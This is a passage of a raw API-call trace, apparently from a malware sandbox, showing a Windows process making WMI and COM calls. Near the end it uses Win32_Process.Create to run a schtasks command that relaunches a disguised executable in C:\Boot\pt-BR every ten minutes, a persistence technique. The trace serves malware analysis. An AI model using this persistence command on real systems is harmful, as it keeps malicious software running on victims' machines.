pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0107.990] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0107.990] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.991] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b45d1b0) returned 0x0 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d1b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0107.991] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d1b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x6563f0) returned 0x0 [0107.991] WbemDefPath:IUnknown:Release (This=0x1b45d1b0) returned 0x0 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x6563f0) returned 0x0 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0107.991] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b45cb50) returned 0x0 [0107.991] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cb50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.991] WbemDefPath:IUnknown:Release (This=0x1b45cb50) returned 0x3 [0107.991] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0107.991] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0107.991] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0107.991] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0107.992] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0107.992] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0107.992] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0107.992] WbemDefPath:IUnknown:QueryInterface (in: This=0x6563f0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x6563f0) returned 0x0 [0107.992] WbemDefPath:IUnknown:AddRef (This=0x6563f0) returned 0x3 [0107.992] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x2 [0107.992] WbemDefPath:IWbemPath:SetText (This=0x6563f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0107.992] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.992] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0107.992] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.992] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0107.992] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0107.992] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0107.992] IUnknown:Release (This=0x6124e8) returned 0x1 [0107.992] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b45d170) returned 0x0 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d170, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0107.993] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d170, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x6564b0) returned 0x0 [0107.993] WbemDefPath:IUnknown:Release (This=0x1b45d170) returned 0x0 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x6564b0) returned 0x0 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0107.993] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b45d190) returned 0x0 [0107.993] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d190, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0107.993] WbemDefPath:IUnknown:Release (This=0x1b45d190) returned 0x3 [0107.993] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0107.993] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0107.993] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0107.993] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0107.993] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0107.993] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0107.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x6564b0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x6564b0) returned 0x0 [0107.993] WbemDefPath:IUnknown:AddRef (This=0x6564b0) returned 0x3 [0107.993] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x2 [0107.993] WbemDefPath:IWbemPath:SetText (This=0x6564b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x6564b0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0107.994] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x6563f0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6564b0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6564b0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6564b0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0107.994] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6563f0, uIndex=0x0, pszName="root") returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6564b0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x6564b0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0107.994] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x6563f0, uIndex=0x1, pszName="cimv2") returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetServer (in: This=0x6564b0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetServer (in: This=0x6564b0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetServer (in: This=0x6563f0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetServer (in: This=0x6563f0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetInfo (in: This=0x6563f0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655c70, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6563f0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0107.994] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0107.994] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0107.994] WbemLocator:IUnknown:AddRef (This=0x1b470d28) returned 0x3 [0107.994] WbemLocator:IUnknown:QueryInterface (in: This=0x1b470d28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b470d28) returned 0x0 [0107.994] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x3 [0107.994] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x2 [0107.995] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0107.995] WbemDefPath:IWbemPath:GetText (in: This=0x6563f0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0107.995] IWbemServices:GetObject (in: This=0x1b4b4160, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x643570, ppCallResult=0x0) returned 0x0 [0107.999] IWbemClassObject:GetMethod (in: This=0x643570, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x6438e0, ppOutSignature=0x1b30d610*=0x1b49e000) returned 0x0 [0107.999] IWbemClassObject:SpawnInstance (in: This=0x6438e0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b49e370) returned 0x0 [0107.999] IWbemClassObject:Get (in: This=0x1b49e370, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bea8*=0, plFlavor=0x277beac*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bea8*=8, plFlavor=0x277beac*=32) returned 0x0 [0107.999] IWbemClassObject:Get (in: This=0x1b49e370, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bea8*=8, plFlavor=0x277beac*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bea8*=8, plFlavor=0x277beac*=32) returned 0x0 [0108.000] IWbemClassObject:Put (This=0x1b49e370, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0108.000] IWbemClassObject:Get (in: This=0x1b49e370, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bf38*=0, plFlavor=0x277bf3c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bf38*=13, plFlavor=0x277bf3c*=32) returned 0x0 [0108.000] IWbemClassObject:Get (in: This=0x1b49e370, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bf38*=13, plFlavor=0x277bf3c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x277bf38*=13, plFlavor=0x277bf3c*=32) returned 0x0 [0108.000] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b470890) returned 0x0 [0108.000] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0108.000] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0108.000] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0108.000] IUnknown:AddRef (This=0x1b470890) returned 0x3 [0108.000] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0108.000] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0108.000] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b470898) returned 0x0 [0108.000] IMarshal:GetUnmarshalClass (in: This=0x1b470898, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0108.000] IUnknown:Release (This=0x1b470898) returned 0x3 [0108.000] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0108.000] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0108.001] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0108.001] IUnknown:Release (This=0x1b470890) returned 0x2 [0108.001] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0108.001] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0108.001] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0108.001] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0108.001] IUnknown:QueryInterface (in: This=0x1b470890, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0108.001] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0108.001] 